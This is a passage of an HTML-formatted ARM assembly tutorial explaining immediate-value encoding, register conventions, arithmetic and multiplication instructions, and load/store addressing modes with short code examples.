&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;movs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#&amp;lt;imm8&amp;gt;, lsl #4    ;  r0 = imm8 &amp;lt;&amp;lt; 4, update condition flags&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Larger than 255 values in &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="c1"&gt;#&amp;lt;imm8&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; are possible because the instruction has 12 bits to store them. Why not just &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="c1"&gt;#&amp;lt;imm12&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; then?&lt;/p&gt;
&lt;p&gt;The 4 extra bits are used to rotate to the right the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="c1"&gt;#&amp;lt;imm8&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; value by &lt;em&gt;twice&lt;/em&gt; the number encoded in those 4 bits.&lt;/p&gt;
&lt;p&gt;In other words, the final value is &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;n8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;ror&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nb"&gt;r4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;: the 8 bits encoded number rotated by twice the 4 bits encoded.&lt;/p&gt;
&lt;p&gt;This allows to set immediate values larger than 12 bits but loosing the possibility to encode some numbers. If you try to set one of those you will get a &lt;em&gt;invalid constant&lt;/em&gt; error.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;128000&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;;   r2 = 0x1f400&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;127999&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;;   Invalid operand (KS_ERR_ASM_INVALIDOPERAND)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;More instructions are needed to compute an arbitrary 32 bits number or a load.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Note: a 32 bit number can be set in two instructions: set the 16 lower bits with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;rd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#&amp;lt;imm16&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and set the 16 upper bits with &lt;em&gt;move top&lt;/em&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;movt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;rd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#&amp;lt;imm16&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xccdd&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;;   r2 = 0x0000ccdd&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;movt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xaabb&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;;   r2 = 0xaabbccdd&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="registers"&gt;Registers&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r3&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; are &lt;em&gt;scratch&lt;/em&gt; registers: they are not preserved cross calls and it is caller’s responsibility to preserve them if needed.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r4&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r11&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; are &lt;em&gt;variable&lt;/em&gt; registers: they must be preserved cross calls and it is callee’s responsibility to preserve them if needed.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r9&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; may play a different roll (platform dependent, known also as &lt;em&gt;static base&lt;/em&gt; register or &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;sb&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r11&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; may play the roll of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;fp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; so both may not be free for arbitrary usage.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;bl&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; instruction saves the next instruction (the &lt;em&gt;return address&lt;/em&gt;) in the &lt;em&gt;link&lt;/em&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;lr&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; register (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r14&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) and set the destination address in the &lt;em&gt;program counter&lt;/em&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;pc&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; register (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r15&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;For “long jumps” and inter-operability, the &lt;em&gt;intra-procedure-call&lt;/em&gt; registry &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;ip&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r12&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) is used.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;r13&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is the &lt;em&gt;stack pointer&lt;/em&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;sp&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Take a look at the &lt;a href="https://developer.arm.com/documentation/ihi0042/latest/"&gt;Procedure Call Standard for the Arm Architecture&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="data-instructions"&gt;Data instructions&lt;/h2&gt;
&lt;p&gt;The arithmetic and logical instructions fall in this category; they manipulate only on registers, never on memory.&lt;/p&gt;
&lt;p&gt;The destination and the first operand are registers while the second can be a register, and immediate value or a register shifted by another register or immediate value.&lt;/p&gt;
&lt;p&gt;They can be conditionally executed and conditionally set the status flags.&lt;/p&gt;
&lt;p&gt;The &lt;a href="https://documentation-service.arm.com/static/5ed66080ca06a95ce53f932d?token="&gt;ARM and Thumb-2 Instruction Set Quick Reference Card&lt;/a&gt; is your friend!&lt;/p&gt;
&lt;p&gt;There are no division instructions except on ARMv7-R and ARMv7-M and multiplication operations are more special.&lt;/p&gt;
&lt;p&gt;Because the registers are of 32 bits, the result of a multiplication cannot fit there: we need 64 bits!&lt;/p&gt;
&lt;p&gt;There are two sets of multiplications: the one that stores the result in a 32 bits register (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;mul&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;rd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;rm&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;rs&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) and the one that stores it in two registers (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;umull&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;rdlo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;rdhi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;rm&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;rs&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) – the extra &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;l&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; means &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;long&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="memory-instructions-load-and-store"&gt;Memory instructions: load and store&lt;/h2&gt;
&lt;p&gt;Loads and stores are quite similar: they can operate (load/store) on 32 bits words, half-words (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;h&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) and bytes (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;b&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;), zero extended or signed extended (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;s&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;sh&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;sb&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; respectively).&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Note: &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;sb&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;sh&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; prefixes are not supported for stores.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="indexing"&gt;Indexing&lt;/h3&gt;
&lt;p&gt;In &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;rd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rn&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; or &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;rd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rn&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="err"&gt;[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; denotes dereferencing and the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;rn&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; register is the &lt;em&gt;base register&lt;/em&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; r0 = stack top&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This is the &lt;em&gt;register indirect addressing&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;An offset can be added to the base register, useful to iterate over an array like &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;rd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;rm&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;rd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; or even &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;rd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;rm&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;lsl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; r0 = stack top&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4]            ; r0 = elem below the top&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; if r3 == 4, same above (sp + 4)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;lsl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#2]    ; if r3 == 2, same above (sp + (1 &amp;lt;&amp;lt; 2))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This is known as &lt;em&gt;pre-index addressing&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Note the use of squares in &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;rd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;rm&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;lsl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;, the instruction &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;rd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rn&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;rm&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;lsl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is a pre-index addressing &lt;em&gt;with post write-back&lt;/em&gt;: the base address is updated with the final value &lt;em&gt;after&lt;/em&gt; the load completed.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4     ; r0 = stack top, sp move 4 down (aka &amp;quot;pop&amp;quot;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4     ; r0 = next stack top, sp move 4 down (aka &amp;quot;pop&amp;quot;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A &lt;em&gt;pre write-back&lt;/em&gt; variant exists: &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;rd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;rn&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;rm&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;lsl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4]!&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4]!    ; r0 = sp move 4 down then load (top was skipped)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;Note: &lt;em&gt;pre write-back&lt;/em&gt; makes more sense for stores (aka pushes) and &lt;em&gt;post write-back&lt;/em&gt; for loads (aka pops)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;; swap r0, r1 using the stack, really slow!&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-4]!    ; r0 = sp move 4 up then store (aka push)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;str&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#-4]!    ; r1 = sp move 4 up then store (aka push)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4      ; r0 = stack top, sp move 4 down (aka &amp;quot;pop&amp;quot;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;r1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;sp&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;#4      ; r1 = stack top, sp move 4 down (aka &amp;quot;pop&amp;quot;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;PC-relative addressing&lt;/em&gt; allows to load a memory which address is an offset of the program counter: &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;ldr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;rd&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nv"&gt;label&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. This works only for loads; useful to load numbers that cannot fit in an &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nf"&gt;imm8&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Not all the combinations of sizes and addressing are possible. Check the data sheet.&lt;/p&gt;
&lt;/blockquote&gt;
